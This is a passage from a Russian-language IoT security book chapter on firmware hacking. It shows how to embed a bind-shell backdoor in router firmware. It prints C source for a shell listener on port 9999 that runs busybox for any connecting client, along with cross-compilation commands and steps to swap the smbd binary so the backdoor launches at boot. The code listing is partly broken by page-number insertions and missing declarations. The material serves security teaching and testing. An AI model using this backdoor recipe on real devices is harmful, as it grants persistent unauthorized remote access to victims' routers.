Внедрение бэкдора в прошивку

Бэкдор – это программное обеспечение, спрятанное внутри­ целево- го устройства и позволяющее злоумышленнику получить несанкци- онированный доступ к системе. В этом разделе мы модифицируем прошивку, добавив крошечный бэкдор, который будет запускаться при загрузке прошивки, предоставляя злоумышленнику оболочку с устройства жертвы. Кроме того, бэкдор позволит нам выполнять динамический анализ с правами суперпользователя на реальном и функциональном устройстве. Этот подход чрезвычайно полезен в случаях, когда FIRMADYNE не может правильно эмулировать все функции микропрограммы.

В качестве агента бэкдора мы будем использоватьпростую оболоч- ку связывания, написанную Осандой Малитом (Osanda Malith) на C (листинг 9.1). Этот сценарий прослушивает новые входящие подклю- чения к предопределенному сетевому порту и позволяет удаленное выполнение кода.Мыдобавили команду fork() к исходному скрипту, чтобы он работал в фоновом режиме. Это создаст новый дочерний процесс,который одновременно будетвыполняться в фоновом режи- ме, в то время как родительский процесс просто приостанавливает свою работу и уберегает вызываемую программу от остановки.

Листинг 9.1. Модифицированная версия бэкдор-скрипта Осанды Малита (https:// github.com/OsandaMalith/TP-Link/blob/master/bindshell.c)

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h>

#define SERVER_PORT 9999

/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)

*Bind Shell using Fork for my TP-Link mr3020 router running busybox

*Arch : MIPS

*mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc

*/

int main() {

264  Глава 9

serverfd = socket(AF_INET, SOCK_STREAM, 0);

bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);

while (1) {

len = sizeof(struct sockaddr);

clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork();

if (server_pid) {

write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd);

} close(clientfd);

}

}

return 0;

}

После выполнения сценарий начнет прослушивание порта 9999 и выполнит любой ввод, полученный через этот порт, как системную команду.

Чтобы скомпилировать агент бэкдора, нам сначала нужно настро- ить компиляцию среды. Самый простой способ – использовать часто обновляемую цепочку инструментов проекта OpenWrt.

$ git clone https://github.com/openwrt/openwrt $ cd openwrt

$ ./scripts/feeds update -a $ ./scripts/feeds install -a $ make menuconfig

По умолчанию эти команды будут компилировать микропрограм-

му для маршрутизаторов Atheros AR7 типа System on a Chip (SoC), ко-

торые основаны на процессорах MIPS. Чтобы установить другое зна- чение,нажмите Target System (Целевая система) и выберите одно из доступных устройств Atheros AR7 (рис. 9.4).

Затем сохраните изменения в новом файле конфигурации, нажав кнопку SAVE (Сохранить), и выйдите из меню, нажав кнопку EXIT

(Выход),– рис. 9.5.

Взлом прошивки  265

Рис.9.5.Выбор цели Atheros в настройках OpenWrt

Скомпилируйте набор инструментов с помощью­ команды make:

$ make toolchain/install

time: target/linux/prereq#0.53#0.11#0.63 make[1] toolchain/install

make[2] tools/compile

make[3] -C tools/flock compile

…

В папке staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/OpenWrt

вы найдете компилятор mips-openwrt-linux-gcc, который можно ис- пользовать следующим образом:

$ export STAGING_DIR="/root/Desktop/mips_backdoor/openwrt/staging_dir"

$ ./openwrt/staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/mips-openwrt-linux-gcc bindshell.c -o bindshell -static -EB -march=24kc

Эти команды должны создать двоичный файл с именем bindshell. Перенесите двоичный файл в эмулируемую микропрограмму с по­ мощью FIRMADYNE и убедитесь,что она работает правильно. Вы мо-

266  Глава 9

Чтобы атака была успешной, микропрограмма должна заменить существующий двоичный файл, который запускается автоматиче- ски, гарантируя, что любое нормальное использование устройства запустит бэкдор. На этапе динамического анализа мы действительно идентифицировалитакойдвоичныйфайл–службуSMB,работающую напорте445.Выможетенайтидвоичныйфайлsmbdвкаталоге/userfs/ bin/smbd. Давайте заменим его на bindshell:

$ cp bindshell /userfs/bin/smbd

После заменыдвоичного файла восстановите прошивку,используя сборку – скрипт прошивки:

$ ./build-firmware.sh

firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake Building new squashfs file system... (this may take several minutes!) Squashfs block size is 128 Kb

…

Firmware header not supported; firmware checksums may be incorrect.

New firmware image has been saved to: /root/Desktop/firmware-mod-kit/fmk/new-firmware.bin

Затем с помощью­ firmadyne убедитесь, что при загрузке микро- программы оболочка все еще работает.Используя netstat,вы можете проверить, что служба SMB микропрограммы, которая обычно ожи- даетновых подключений через порт445,была заменена агентом бэк- дора, который прослушивает новые подключения к порту 9999:

268  Глава 9